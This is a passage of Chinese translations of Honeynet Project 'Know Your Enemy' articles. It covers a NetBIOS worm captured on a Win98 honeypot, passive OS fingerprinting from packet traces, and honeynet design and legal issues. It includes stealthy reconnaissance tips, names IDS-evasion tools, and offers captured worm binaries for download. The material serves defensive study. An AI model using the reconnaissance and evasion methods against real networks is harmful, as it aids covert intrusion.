91 7E FB E0 D9 9D AA 7D 21 BC 59 1A 69 DB 07 B7 .~.....}!.Y.i...
B1 F9 B6 54 FA 18 64 F1 42 37 13 8E 8A 55 C2 2B ...T..d.B7...U.+
CF 32 45 19 1A 93 1F 65 62 B1 CE 02 AA D0 7C 9E .2E....eb.....|.
C5 46 78 29 F0 13 97 04 .Fx)....

    一旦上传完成,这条开始在Internet上搜寻有漏洞系统并开始复制自己。它随机挑选IP地址,之后开始扫对方的135和139端口。随后标记存在漏洞的系统并开始复制。如果一个"honeypot"的环境被设计成阻塞住各种被已经侵害的"honeypot"发出的有恶意的流量,那么这些扫描就永远到不了Internet。"honeypot"在这里就像是"roach motel",让坏蛋进去,但不让出。下面可以看到这条蠕虫尝试发现其他有漏洞的系统。

11/04-23:58:05.946299 172.16.1.105:137 -> 39.202.248.187:137
UDP TTL:127 TOS:0x0 ID:30485
Len: 58
0E 94 00 10 00 01 00 00 00 00 00 00 20 43 4B 41 ............ CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01

    另外一件事就是我发现有趣的事情是在c:windowswin.ini的这个配置文件被重新修改,很想是被winint.exe,这条蠕虫从启动配置中移走msi216.exe。同样dentc.ini也重新被修改,把邮件地址从bymer@inec.kiev.ua改为bymer@ukrpost.net,这些表明第二条蠕虫正在尝试从配置中去掉第一条的配置从而替代它。这种现象就像自然界的生态斗争,一条虫子同另外一台争夺地盘,或者是CPU资源。

    如果你希望自己分析一下这个程序,可以下载win98.tar.gz。这个压缩包里包含了四天中snort捕获到的二进制的数据以及在我们honeypot上捕捉到的所有蠕虫的二进制程序。包括wininit.exe和msi216.exe。需要提醒的是,由于这些程序是直接从互联网上搜集来的,里面可能包含一些恶意代码,因此要小心使用。如果你不需要蠕虫的二进制程序的话,可以下载win98-wo.tar.gz。

    结论

    我们在上面描述了我们四天的历程,我们的Windows98系统被几条蠕虫侵袭。这些蠕虫自动探测有漏洞系统一旦发现就开始自身复制,目前来看全是搜寻有NetBIOS漏洞的系统,当然并不表示所有基于NetBIOS的扫描都是这样。并不是所有的蠕虫都是基于distributed.net。想想如果这条蠕虫被修改成窥探你系统上的隐秘信息,它会很轻易的搜寻包含财务等机密信息…一旦发现,这些信息会发给匿名邮件帐号,IRC channel,或者被入侵的Web服务器。

    Acknowledgements

    非常感谢H Carvey 和Ryan Russell,他们是主要的技术贡献者,看额外的信息,可以http://distributed.net或者http://www.cert.org


Know Your Enemy--反守为攻

  网络安全的挑战之一就是你需要了解攻击者,要了解你存在的威胁并保护你自己的资源,你需要了解你的敌人,被动特征探测是了解攻击者而不被攻击者觉察的方法之一,虽然这种方法可能不是100%正确,但你会获得一些令你诧异的结果。Craig Smith开发基本本文概念的工具passfing.另外subterrain crew也开发了siphon,一个可以被动探测端口和OS的工具。

    Fingerprinting

    传统上,操作系统特征可以通过"积极性"的工具,如queso或者nmap,这些工具是在每一个操作系统上的IP堆栈有自己不同特性的原理上来操作的,每个操作系统响应通过的多种信息包。所以这些工具只要建立一个基于不同的操作系统对应不同的信息包的数据库,然后,要判断远程主机的操作系统,发送多种不寻常的信息包,检测其是怎样响应这些信息包的,再与数据库进行对比做出判断。Fyodor的 nmap工具就是利用这种方法的,他也写了一份具体的文档。

    而被动特征探测(Passive Fingerprinting )遵循相同的概念,但实现的方法不同。被动特征探测(Passive Fingerprinting )基于嗅探远程主机上的通信来代替主动的去查询远程主机,所有你需要做的是抓取从远程主机上发送的信息包。在嗅探这些信息包的基础上,你可以判断远程主机的操作系统,就象主动特征探测一样,被动特征探测(Passive Fingerprinting )也是由每个操作系统的有自己的IP堆栈特征,通过分析sniffer traces 和鉴别他们之间的不同之处,就可以判断远程主机的操作系统了。

    信号

    判断主机的操作系统一般可以由4个方面来着手(当然也有其他信号存在):
TTL - 这个数据是操作系统对出站的信息包设置的存活时间。
Window Size - 是操作系统设置的窗口大小,这个窗口大小是在发送FIN信息包时包含的选项。
DF - 可以查看是否操作系统设置了不准分片位
TOS - 是否操作系统设置了服务类型
    通过分析信息包这些因数,你可以判断一个远程的操作系统,当然探测到的系统不可能100%正确,也不能依靠上面单个的信号特征来判断系统,但是,通过查看多个信号特征和组合这些信息,你可以增加对远程主机的精确程度。下面是一个简单的例子,下面是被探测的系统发送一个信息包,这个系统发起了一个mountd的漏洞攻击,因此我想了解这个主机, 我现在不使用finger或者NMAP等工具,而想要了解被动接受到的信息,使用snort得到了下面的一些信号特征:

04/20-21:41:48.129662 129.142.224.3:659 -> 172.16.1.107:604
TCP TTL:45 TOS:0x0 ID:56257
***F**A* Seq: 0x9DD90553 Ack: 0xE3C65D7 Win: 0x7D78

根据上面的四条准则,我们可以达到下面的情况:


TTL: 45
Window Size: 0x7D78 (or 32120 in decimal)
DF: The Don't Fragment bit is set
TOS: 0x0
    我们再比较信号特征数据库,首先,我们查看使用在远程系统上的TTL,从我们的获得信息可以看到TTL是45,这多数表示它通过19跳才到达我们主机,因此原始的TTL应该是设置为64,基于这个TTL,这个信息包应该看来是由LINUX和FREEBSD系统发来的(当然更多的系统信号特征需要放到数据库中),这个TTL通过了traceroute远程主机得到证实,如果你考虑到远程主机在检测你的traceroute,你可以设置你traceroute的time-to-live(默认是30跳),使用-m选项来设定到主机的跳数少1到2跳的数值,如,刚才的例子里,我们可以使用traceroute -m 18来设置跳数为18跳,这样做可以让你看到到达主机的路径而不碰到远程主机。要更多关于TTL的信息,请查看这篇文章

    下一步是比较窗口大小-Windows size,用Windows size来判断是另一个非常有效的工具,特别是使用多大的窗口大小和改变大小的规律,在上面的信号特征中,我们可以看到其设置为0x7D78,这是LINUX通常使用的默认窗口大小。LINUX,FREEBSD和SOLARIS系统在完整的一个会话过程中窗口的大小是维持不变的,但是 ,部分Cisco路由器(如2514)和WINDOWS/NT的窗口是经常改变的(在一个会话阶段),如果在初始化三次握手后衡量窗口大小是比较精确的,具体信息,可以看看Richard Stevens的"TCP/IP Illustrated, Volume 1" 20章。

    多数系统使用DF位设置,因此这个是一个限定的值,但是有些系统如SCO和OPENBSD不使用这个DF标志,所以就比较容易的用来鉴别一些没有这个DF位设置的系统,在更多的测试后,发现TOS也是一个限定的值,这就表示不是很多操作系统来判断TOS,而是协议在使用这个值。TOS的判定需要更多的测试。因此,根据上面的信息,一些特殊的TTL值和窗口大小值,你可以通过信号数据库来比较结果。

    注意,与主动特征探测一样,passive Fingerpinting有许多限制,首先,应用程序必须构建他们自己的与操作系统不同信号特征信息包(如NMAP,HUNT ,TEARDROP等)。其次,这种探测可以使用调整系统的信息包的值来逃避这种检测,如可以用下面的方法来改变TTL值:

Solaris: ndd -set /dev/ip ip_def_ttl 'number'
Linux: echo 'number' > /proc/sys/net/ipv4/ip_default_ttl
NT: HKEY_LOCAL_MACHINESystemCurrentControlSetServicesTcpipParameters

通过上面所说的方法结合,你就可以大致判断出远程操作系统的情况了。

    其他信息特征和使用

    上面的是讨论了4个信号特征,但还有其他的特征可以被跟踪,如一些初始化序列好,IP鉴定号码(IP Identification numbers ),TCP或者IP的选项。如:Cisco路由器趋向由0开始IP鉴定号码(IP Identification numbers )来代替随机的指派号码。也可以使用ICMP的有效负载来判断,Max Vision discusses 使用ICMP有效负载类型或者TCP选项来鉴别远程主机,举个例子,微软的ICMP REQUEST的有效负荷包含字母,而SOLAIRS或者LINUX的ICMP REQUEST有效符合包含数字和符号。又如TCP选项,选择性的应答Acknowledgement选项SackOK 通常被WINDOWS和LINUX使用,但FREEBSD和SOLARIS这个选项不使用。MSS(最大数据段大小)也可以用来判断,绝大多数系统使用1460 大小的MSS,NOVELL使用的是1368,而有些FREEBSD变种使用512大小的MSS,另一个信号特征是信息包状态,什么类型的信息包被使用,可以应用FYODOR的话说:

    "例如,最开始的SYN请求对我来说是一块金子(因为它会被回复),而RST信息包也有一些有趣的特征用来鉴定系统."其他多种特征和上面所说的特征组合能很好的判断远程操作系统。

    被动特征探测可以用来其他一些用途,它当然也可以被攻击者用来秘密的探测系统,如可以请求WEB服务器的WEB页然后进行分析。这对于绕过一些IDS系统的检测有很大的帮助。而且被动特征探测也可以用来判断远程代理防火墙,因为代理防火墙重建对客户的连接,它有它自身的特征代码。也可以同来在同一网络中判断其他系统,如某个公司全部是MICROSOFT或者SUN系统,就可能很快的使用这种方法来判断是否有其他机器混在里面。

    构建数据库

    数据库是通过对各种系统进行TELNET,FTP,HTTP,SSH等协议分析而得到的。还有更多其他的协议来进行扩充,如果你有任何特征码增加到数据库中去请发送给Honeynet,我们对TCP或者IP选项特征特别感兴趣,或者一些没有列入到数据库中的操作系统的特征。

    总结

    被动特征探测让你隐秘的了解你的攻击者,通过组合多种特征,你可以大体判断远程操作系统,感谢下面的人提供帮助和想法:

Fyodor
Max Vision
Marty Roesch
Edward Skoudis
Dragos Ruiu
Craig Smith
Peter Grundl
Subterrain Siphon Project


Know Your Enemy--英雄本色

    在过去的几年中 Honeynet Project 专注于对网络入侵者这一群体使用的各种工具、攻击策略及目的进行研究,并且分享我们的经验,这里我们使用的主要工具就是Honeynet。本文阐述了Honeynet究竟是什么、它对安全组织的价值、它的工作方式、会带来的风险、技术难题等等。我们将使用技术手段尝试自己去了解入侵者群体。同时我们希望这里讨论的这些技术可以帮助大家更好地构建Honeynet,更好了了解我们的敌人,我们也希望各种组织能够了解Honeynet的基本状况。

    什么是Honeynet

    Honeynet可以说是一个学习工具!它是一个专门设计来让人“攻陷”的网络,一旦被入侵者所攻破,入侵者的一切信息、工具等都将被用来分析学习。其想法与honeypot相似,但两者之间还是有些不同点的:honeypot也是一个用来让人攻击的网络,通常是用来诱骗入侵者的,通常情况下,honeypot会模拟某些常见的漏洞、摸拟其它操作系统或者是在某个系统上做了设置使其成为一台“牢笼”主机。比如The Deception Toolkit, CyberCop Sting, 以及 Mantrap. 是一些脚本的集合,它模拟出了一些常的系统漏洞;CyberCop Sting运行于NT平台,它模拟出多个不同系统的IP堆栈及inetd服务。Mantrap则是将Solaris系统进行了一些设置,建立起了一些“牢笼主机”。毫无疑义,这些都是相当不错的想法,但在现在的环境下,它们有些不适合了,需要更多的改进。

    Honeynet与传统意义上的honeypot有两个最大的不同点在于:
一个Honeynet是一个网络系统,而并非某台单一主机,这一网络系统是隐藏在防火墙后面的,所有进出的数据都受到关注、捕获及控制。这些被捕获的数据可以对我们研究分析入侵者们使用的工具、方法及动机。在这个Honeynet中,我们可以使用各种不同的操作系统及设备,如Solaris, Linux, Windows NT, Cisco Switch, 等等。这样建立的网络环境看上去会更加真实可信,同时我们还有不同的系统平台上面运行着不同的服务,比如Linux的DNS server,Windows NT的webserver或者一个Solaris的FTP server,我们可以学习不同的工具以及不同的策略——或许某些入侵者仅仅把目标定于几个特定的系统漏洞上,而我们这种多样化的系统,就可能更多了揭示出他们的一些特性。
在Honeynet中的所有系统都是标准的机器,上面运行的都是真实完整的操作系统及应用程序——就象你在互联网上找到的系统一样。我们没有刻意地模拟某种环境或者故意地使系统不安全。在Honeynet里面找到的存在风险的系统,与在互联网上一些公司组织的毫无二致。你可以简单地把你的操作系统放到Honeynet中,并不会对整个网络造成影响。
    我们的Honeynet ProjectIt使用的是在互联网上最常见到的操作系统,比如默认安装的Linux, Solaris, Windows98以及Windows NT,正因为我们使用的是最常见、普通的系统,我们的研究成果才会对大多数的互联网组织有实用意义。

    Honeynet 的价值、法律相关事务

    传统意义上的信息安全,一般都是防御性质的,比如防火墙、入侵检测系统、加密等等,它们都是用来保护我们的信息资产的,他们的策略是,先考虑系统可能出现哪些问题,然后对问题一一进行分析解决。而Honeynet希望做到的是改变这一思路,使其更具交互性——它的主要功能是用来学习了解敌人(入侵者)的思路、工具、目的。通过获取这些技能,互联网上的组织将会更好地理解他们所遇到的威胁,并且理解如何防止这些威胁。通过honeynet,组织可以在与入侵者的“游击战争”中获得最大的主动权。

    例如,Honeynet能够收集的信息的主要来源之一是入侵者团体之间的通信,诸如IRC(Internet在线聊天系统)。入侵者经常在彼此之间自由交谈,揭示了他们的动机,目的,和行动。我们通过使用Honeynets,已经捕获了这些谈话内容,监控了他们之间说过的每一句话,我们甚至已经捕获了与攻击我们的系统有牵连的入侵者的实时录像。这使我们能够清楚地洞察入侵者们是如何针对特定系统以及他们攻击系统的能力。你可以参见Know Your Enemy: Motives中的例子。在这份文件中,我们追踪了把一个特殊的国家作为攻击目标的一组入侵者。经过三个周的时间,我们不仅了解了他们是如何把系统作为目标和如何攻击系统的,而且更重要的是,了解了他们这样做的原因。根据这种详细的信息,我们现在能够更好的理解和防护这种常见的威胁。

    Honeynets也为组织提供了关于他们自己的安全风险和脆弱性的一些经验。Honeynets的内容涵盖了组织在其特定环境下系统和应用软件。公司或者组织可以通过对Honeynet的学习及使用,提高增强自己的能力。例如,某家公司可能想提供一个新的网络服务器,以便其网上支付系统。其操作系统和应用程序如果能够先在一Honeynet的中得到检验以识别任何未知的风险和脆弱性,将会在很大程度上提高其可靠程度。我们自己在Honeynet的工作平台上检验IDS、防火墙等过程中就得到了相当多的经验。

    最后,一个Honeynet能够帮助一个组织发展它的事件响应能力。在过去的两年中,我们已经极大地提高了我们检测、响应、恢复、和分析受侵害系统的能力。根据这些经验,我们已经发表了两篇文章,就是 Know Your Enemy: Forensic Analysis 和 The Forensic Challenge 其中提到的一些技巧是:如果你发现了一个受到入侵的系统,你或许可以把它当成一个挑战,使用各种技术来捕获或者分析入侵者的行为并且不被他察觉。同时,你捕获的数据也可以存储在一个攻击特征库中,今后你如果在其它事件中发现类似的特征代码,你就可以轻易地判断出其攻击方式了。

    但是这些方法在法律上遇上了一些麻烦诱捕的问题:
    诱捕是一个法律术语,用于执法人员诱使一个罪犯从事一项非法行为,否则他们可能不会从事该非法行为。我们不是执法部门,我们不是在执法部门的控制下行动,而且我们甚至没有起诉的意图,所以,我们不认为安装一个Honeynet是诱捕行为。其它人将争论说我们正在提供一个“吸引人的目标”,意味着我们把不可靠的系统置于网上,以诱使人们攻击他们,从而把他们作为攻击别人的手段来使用。这也是错误的,因为我们并没有通过任何方式来宣传这些系统。如果有人发现了我们的一个系统,损害了它,并且使用它作他们不应当做的事情,那是因为他们在主动地和有意地从事这种非授权的行为。

    保密的问题:

    而关于这些活动有一些道德上的和伦理上的问题(我们在内部一直在努力解决这些问题),最近由美国司法局,刑事庭,计算机犯罪和知识产权部门出版的Searching and Seizing Computers and Obtaining Electronic Evidence in Criminal Investigations这本书中,提供了几个案例参考,受理上诉的法官裁定,反对对于在计算机入侵和欺骗的犯罪案件中,对侵犯隐私权进行辩护。包括下面一些问题:
入侵这些系统的人是未经授权的,如果他们把任何文件置于系统上(当他们没有合法的帐号或使用特权时),我们认为他们已经不能保有在我们系统上的隐私权。
通过使用我们的系统进行通信,他们就已经在通信中放弃了他们的隐私权。
我们不提供公用的帐号,所以我们不是一个服务供应商,不受为服务供应商所设计的保密要求的限制。
不管怎样,我们不是执法部门,我们也不是在执法部门的控制下行动,或甚至起诉入侵我们系统的入侵者,所以,我们不受证据收集规定的限制,而执法部门和他们的执法人员却要受到其限制。
即使我们真的目击了一起严重的计算机犯罪,并且决定告发它,我们收集日志和记录网络流量,将其作为一个“商业运营”的常规过程,如果我们决定告发的时候,我们可以自由地将其交给执法部门。
    在美国司法系统的最高层作出更加清楚的判断之前,我们认为我们遵守了当前的法律,并且保持在适当的界限之内。(那些美国之外的国家,在使用Honeynet之前,应当咨询你们自己的法律机构以寻求指导。)

    工作方式

    既然我们的目的是对入侵者群体进行研究,我们就必须能够跟踪他们的举动,要建立一个透明的环境,以使我们能够对Honeynet里发生的任何事都有清楚的了解。传统的方法是对网络流量进行监控,这里存在一个最大的问题就是过大的数据量使安全工程师疲于奔命。我们必须从大量的数据中判断哪些是正常的流量,哪些是恶意的活动。一些如入侵检测系统、基于主机的检测及日志分析的工具、技术会在很大程度上带来帮助。但是数据过载、信息被破坏、未知的活动、伪造的日志等等都会对我们的检查分析带来困难。

    Honeynet对此采用了最简单的解决方式。我们的目的是研究系统被侵害的一些相关事件,而不是分析网络流量,我们认为,从外界对Honeynet的访问,除去正常访问外,其它可能是一些扫描、探测及攻击的行为,而从系统内部对外界发起的连接,一般情况下,表明了系统被侵害了,入侵者利用它在进行一些活动。这使我们的分析活动相对简单化。

    要成功地建立一个Honeynet,我们需要面临两个问题:信息控制及信息捕获。信息控制代表了一种规则,你必须能够确定你的信息包能够发送到什么地方。其目的是,当你Honeynet里的Honeypot主机被入侵后,它不会被用来攻击在Honeynet以外的机器。信息捕获则是要抓到入侵者群体们的所有流量,从他们的击键到他们发送的信息包。只有这样,我样才能进一步分析他们使用的工具、策略及目的。

    信息控制

    如我们上面所说的,信息控制是对入侵者的行为进行规则上的定义,让他们能做及不能做某些事情。我们在与入侵者进行智力上的搏斗时,总是会有许多风险的,但必须尽小降低这些风险。我们需要确信,当系统被侵害时,我们的honeypot不会对在Honeynet外的系统产生危害(在honeynet以内的,都是我们战争游戏的一部份:)。这里最难实现的在于,我们必须不让入侵者引起怀疑。入侵者进来之后,他们最需要的,当然是网络连接,以便从网络上下载他们的工具包、打开IRC连接等等,我们必须给他们做这些事情的权利——这正是我们所想要分析的东西。我们以前设计的honeypot曾经犯了个错误,不允许任何往外发的包——入侵者对这往往是非常敏感的,当时有个入侵者进入了我们的系统,只呆了十五分钟,就从这里感觉出不妙,擦掉了所有的踪迹,溜之大吉了。所以呢,我们需要做的是,允许他们做的大部份事情,但是对攻击其它系统的“需求”,比如发起拒绝服务攻击、对外部进行扫描以及用漏洞利用程序攻击他人的行为,则一概不理。

    我们设计这个Honeynet要捕获进出的连接,因此,我们在Honeynet的前端放置一个防火墙,所有的信息包将通过防火墙进来,防火墙能够对所有从我们的honeypot机器往外的每一个连接进行追踪,当该honeypot外发的数量达到我们预先设定的上限时,防火墙便会阻塞那些信息包。这样可以在最大程度保证我们的机器不被滥用的前提下,允许入侵者做尽可能多他们想做的事。一般情况下,我们发现,设定外发连接数设为5至10是比较合适的,不会引起入侵者的怀疑。这样做,就避免了我们的honeypot成为入侵者的扫描、探测及攻击他人的系统。当然,有些组织可能不需要这样设置——如果他们能够做到24小时对Honeynet进行值守的话——这样就可以甚至对外发的数据包都不做任何限制,直到检测到有拒绝服务攻击或者其它的滥用系统的行为发生时,值班人员可以简单地手工将攻击停止。当然我们也可以开发出自动化程度比较高的工具对无法提供24小时监控的人们提供帮助。在我们的设计中,防火墙与Honeynet之间还放置了一个路由器——之所以放置它,有下面两个原因:

    首先,路由器的存在,使防火墙变得“不可见”了,当我们的honeypot被攻击后,入侵者可能会察看从这里往外的路由,这么放置更象一个真实的网络环境,没人人会注意到在路由器的外面还有一台防火墙。其次是,路由器也可以对访问控制进行一些限制,它可以作为对防火墙的一个很好补充,以确保honeypot不会被用来攻击陷阱网络之外的机器。

    在DiagramA中我们把Honeynet的拓扑给出来了。这是我们在 Know Your Enemy 系列文档中使用的真实的网络。在这个网络拓扑中,你可以看到,防火墙把这个网络陷阱分隔成三个部份。一是陷阱部份,二是互联网,三是管理控制平台。在数据捕获的章节里我们还将提到管理控制平台。所有的进出的数据包都必须通过我们的防火墙及路由器,这里防火墙是我们主要控制进入及外出的连接的工具。路由器在这里做了一些补充的过滤。我们的防火墙允许任何的进入及外发连接,但是它对任一陷阱主机外发连接的数量做了限制,只允许5个,当到达这个上限时,任何超出部份的连接将被防火墙阻塞。我们使用的是CheckPoint FW-1防火墙以及一个用来检查有多少外发连接的shell 脚本,当达到这个上限时 (我们这里是五个并发的连接)这一脚本就配置防火墙将超出的连接断开。我们也配置了防火墙,在这些事发生的时候,会给我们发送相关的的警示信息以告知该陷阱主机被阻塞了。关于如何防火墙如何配置以及详细的脚本细节等,你可以从"Intrusion Detection for FireWall-1"这篇文章中得到获得。

    路由器在这里充当了第二层的访问控制工具。我们主要用它来防止ICMP攻击或者一些欺骗性的攻击。路由器仅仅允许源地址是Honeynet内的IP往外发包。在我们举的例子中,就是,仅有源地址是172.16.1.0/24的可以外出。这可以防止大多数基于欺骗的攻击,如SYN flooding或者SMURF攻击。我们还禁止了ICMP外出的信息,这主要是由于我们缺乏自动、稳定的ICMP跟踪的经验。限制ICMP还可以使自己免受一些如SMURF,network mapping以及Ping of Death的攻击。下面是我们在路由器上做的ACL,注意到了么,有大量的ICMP包被路由器拦截下来了。

router#show ip access-list 100
Extended IP access list 100
  deny icmp any any (5446314 matches)
  permit ip 172.16.1.0 0.0.0.255 any (66372 matches)
  deny ip any any log (59990 matches)

    经过实践,我们觉得将防火墙与路由器配合使用可以在技术上十分完善地对外出的信息包进行过滤。这可以最大程度地让入侵者们做他们想做的事情而不致产生怀疑。以我们的经验来说,这些安全上的措施几乎是不可能绕开的。在我们的网络陷阱中曾有大量的拒绝服务攻击企图,包括SYN Flooding, SMURF, 以及Ping of Death,但无一例外全都被拦截下来了。同样的,有大量的扫描器或者自动攻击机企图从我们的网络往外进行侵害,但也都被阻塞了。当然,没有一种方法是永恒有效的,需要记住,与入侵者的群体打交道,总是要冒些险的。

    信息捕获

    数据捕获能够获得所有入侵者的行动记录,这些记录最终将帮助我们分析他们所使用的工具、策略以及攻击的目的。我们的目的是在入侵者们不发现的情况下,捕获尽可能多的数据信息。这可能需要对系统进行一些修改,但要尽可能的少。另外,捕获到的数据不能放在honeypot的主机上,否则很可能会被入侵者们发现,从而令其得知该系统是一个陷阱平台。而这时,放置其上的数据可能会丢失、被销毁。因此我们需要把数据放在远程安全的主机上。我们通过几层的保护来使数据尽可能地完整和安全,其中包括了多种方法,我们从来不仅仅依靠单一的方法来做这些事。通过几种方法的组合,我们可以描绘出一幅清晰的入侵者攻击的图景来。下面我们将讨论这些技术。

    用来记录的第一重保护就是防火墙。前面我们描述了如何通过防火墙来控制信息。同样的,防火墙还能够用来捕获我们想要的数据。它可以记录所有的进入及外出honeynet的连接。我们设定防火墙不仅可以记录下所有的连接企图,而且还及时地对我们发出警告信息。比如说,某人尝试telnet到honeynet中的某台主机上,防火墙就会记录并且报警。这对跟踪端口扫描非常有效。另外,它还可以记录下对后门及一些非常规端口的连接企图。多数的漏洞利用程序都会建立一个shell或者打开某个端口等待外来的连接,而防火墙可以轻易地判断出对这些端口的连接企图并且向你报警告知。同样的,系统内部的陷阱主机往外发起的连接,一样会被记录在案。当然,这些警告多数是告诉你,有人在对你的系统感兴趣了,并且已经侵入你的系统中——你可以通过一些如发送email或者发送BP机短信等方法来对系统管理员进行提示。

    第二重保护是入侵检测系统,它有两个作用,首先也是最重要的是它可以捕获系统中的所有举动,它的主要工作就是对网络中的信息流量监控分析记录以便将来能够重现之,如果你刚才对我们的拓扑 DiagramA(见下图), 你会看到我们的IDS在网络中的放置方式,所有机器都能监控到。IDS的第一个作用是能够抓出所有入侵才在上面的举动记录下来,另外,它还能在发现一些可疑举动的时候向你发出警报。多数的IDS都有一个入侵特征库,当网络传输的信息包中的特征字串与该库中某一特定项目符合的时候,它就会发出告急的消息。因此在我们的honeynet中,IDS可以被用来对特定的一些连接进行细节信息的收集捕获。

  第三重保护是系统本身自带的,要记录下入侵者在系统中做了什么事,而且记录文件不被破坏,首先我们要考虑到的就是,不能够仅仅在本机上保存日志文件,而应该也发一份到远程日志服务器上。在多数的unix机器上,可以简单地在syslog的配置文件中加上一条远程syslog服务器的条目。在windows机器上,我们一般需要一些第三方的远程日志记录工具,日志文件也可以写入NFS或者SMB共享的远程日志服务器。我们并没有对这些日志进程进行任何的隐藏,因为考虑到,一般情况下,入侵者进入系统后,如果发现了日志记录情况,最多能做的就是将它停掉——这也是他们的“标准”做法,这样我们将无法进一步记录他们的举动,但是至少他们是进入系统的方法、从何处来等信息已经是无法抹去的了。

    当然,还有一些手段更高明的入侵者会尝试着对远程的日志服务器以图删除他们的入侵记录,这我们也考虑到了,而且他们的这些尝试也是我们想要了解和捕获的。对我们来说,日志服务器通常是一台配置得相当安全的系统,当入侵者使用一些更复杂的手段对其进行攻击、危害到它的安全、获取其上的权限的时候(这并不是不可能发生的),可以删除掉上面的日志。但是他们仍然不能对我们的日志产生太大影响——别忘了,我们的IDS还在里面静静地被动地捕获honeynet里所有的信息包、入侵者的所有的活动,这里实际上IDS又反过来充当了第二重的远程日志系统,进一步确保了日志记录的完整性。

    在捕获信息的过程中,我们还可以使用一些其它的方法,比如修改系统以便捕获击键及对其屏幕、登陆tty进行捕获并且进行远程数据的传输。在Honeynet Project中,我们利用了一些工具来实现这些功能,首先是一个由Antonomasia更改过, 加强版本的bash,可以用它来替代系统本身的/bin/bash——这个patch后的shell能够把用户的击键写到日志文件中,并发送到远程的日志服务器。另一个方式是一个改进过的TTY Watcher. 这个内核模块可以将用户的击键及tty屏幕显示,并通过一个非标准的TCP连接将这些信息发送出去。还有非常多的方法可以用来实现更多的功能,我们也希望更多的安全组织能够编程实现并发布供大家使用。

    关注、维护及风险

    Honeynets并不是一个你装好后就可以忘却的解决方案,它需要你的持续的维护及关注,才能发挥最大的影响——这样你才能在第一时间发现并对一些安全事件作出及时的反应。通过实时地观察入侵者的举动,可以提升你的数据捕获及分析的能力。同样地,为了捕获到新的有价值的数据,你可能需要经常对可疑的网络事件进行深度分析。这需要很长的时间及熟练的分析能力。举例来说,一个入侵者在你的honeynet上花了30分钟攻击、游戏,但你却必须花费30-40小时来分析它。同样,你还必须维持这个陷阱网络的正常运行,任何的误操作都可能导致一些致命的错误,可能会令honeynet无法正确运行,比如说,你的“报警”进程当掉了、磁盘空间满、IDS的特征字串不够新、系统配置文件可能出现损坏、日志文件需要察看、需要对防火墙进行补丁升级工作等等。这里说的只是整个honeynet的一部份——在你准备实现honeynet时,你就必须了解——还有很多需要咱们去做的工作。

    而且,在真正实现honeynet的时候,还会可能有一些比较棘手的问题,比如,我们必须让入侵者群体们能够入侵进来,就得把机器放上网络,这时我们就暴露于互联网上了,而最终入侵者们会成为你机器上的root,你必须确保自己的机器及带宽不会成为进攻他人的工具,而且,很重要的是,当我们使用这一工具的时候,总有可能犯下各种错误——最终导致的结果将是很严重的,所以必须用多种方法来降低风险。入侵者们很有可能通过各种方式手段,开发一些工具来逃避我们的监视,所以我们还必需经常性地检查或者改进我们设定的环境,确保它仍然是有效的。千万不要低估入侵者们的创造力——我们使用防火墙、路由器及其它一切技术都只能对降低风险提供一定程度的帮助,但风险永远是存在的!

    同样,我们信息捕获的种种努力也有可能会被绕过,入侵者们不断地开发出各种工具来对抗现有的监探技术——比如AntiIDS及加密——对我们的信息捕获会有很大影响。比如说Dug Song开发了一个叫fragrouter能对抗入侵检测系统,它把包分片重组,入侵检测系统要检查出攻击特征码,就更加困难。Rain Forest Puppy则开发了一个扫描工具称为 whisker, 该工具则是通过对数据的分片重组,以绕开IDS,当然我们多数的数据捕获工具是能够发现这些工具的,但技术总是道魔互长的,很可能马上会有一些新的、我们所不知晓的技术可能绕过我们的种种设置,在这里我们只列出一小部份,还会有更多有有着先进思想的方法或工具出现,所以我们也必须对之保持持续的关注(比如最近K2发表的一个工具称为 ADMmutate,可以绕过现有的大多数IDS的检测)。

    最后要说明的是,Honeynets并不能解决所有的安全问题,我们建议想要构建Honeynet的组织最好先进行测试,仔细审核一下系统记录并且对系统安全状况做一个全面的审核。通过对各种安全策略及程序的适当优化,我们才能尽可能地降低风险,只有将可能发生的事件尽可能考虑周全并进行训练,它才可能发挥最大的效用。

    结论

    Honeynet是一个用来获取入侵者团体的智慧、使用的工具、方法策略及他们的动机。它与honeypots是相类似的,有相似的思想、使用着一些相似的工具,但其主要功能还是学习。两者之间有两个主要差别,一是Honeynet是一个包含多系统、复杂环境的网络。二者Honeynet是我们设计出来的系统,在互联网上可以找到的东西,无论是操作系统或者是系统漏洞,我们都尽量模拟出来。这些东西的组合使honeynet成为相当好的学习环境。但是Honeynets需要系统管理员付出相当大的精力——他们必须确保没有人能够通过honeynet里的机器攻击他人。Honeynet并非解决安全问题的万金油,也未必会对所有的互联网组织都适用的。我们强力建议这些组织们首先要先把自己内部的安全做好,比如为系统打上补丁、关掉不需要的服务等等,足够安全后,才能更有效地让honeynet成为一种强大的了解入侵者行为策略的工具。

 


Know Your Enemy--数据的声音

  在过去的几年里,Honeynet Project已经收集和归档了backhat的活动信息,我们尽我们最大的能力来记录和捕获对Honeynet每一个探测,攻击,和使用。这些原始的数据有很高价值。我们重点会放在两个部分,第一,我们打算演示Blackhat团体是怎样活动的。不管你是谁,你是不安全的,我们的目标是让你认识到这些威胁的存在。其二,为了对一些早期警告和预报内容的进行测试,通过鉴别方法和倾向,可能预测在攻击发生之前的攻击和进行一定程度的对抗。我们使用Honeynet Project采集到的数据测试这种理论。

    The Collected Data

    Honeynet Project维护着8个高度控制和完全监视的网络,我们收集和归档了2000年4月到2001年2月这段时期中网络的每一个攻击,Honeynet有8个IP地址组成,使用本地ISP提供的单一ISDN连接,这种连接类型类似与大多数家庭用户或者小型商业用户。实际上,Honeynet位于其中一Project成员空余的卧室中。在那段时期,Honeynet中存在3个系统,其中包括如下:Solaris Sparc, WinNT, Win98, 和 Linux Red Hat操作系统。

  Honeynet网络是用来捕获数据的网络,是一些使用普通的网络操作系统,如:Red Hat Linux 或者 Windows NT并在默认下配置的情况下实现的。Honeynet既没有对企图来标榜Honeynet也没有企图来"引诱"攻击者。理论上来说这个站点只会有很少的活动迹象,就想我们没有广告任何服务和系统。

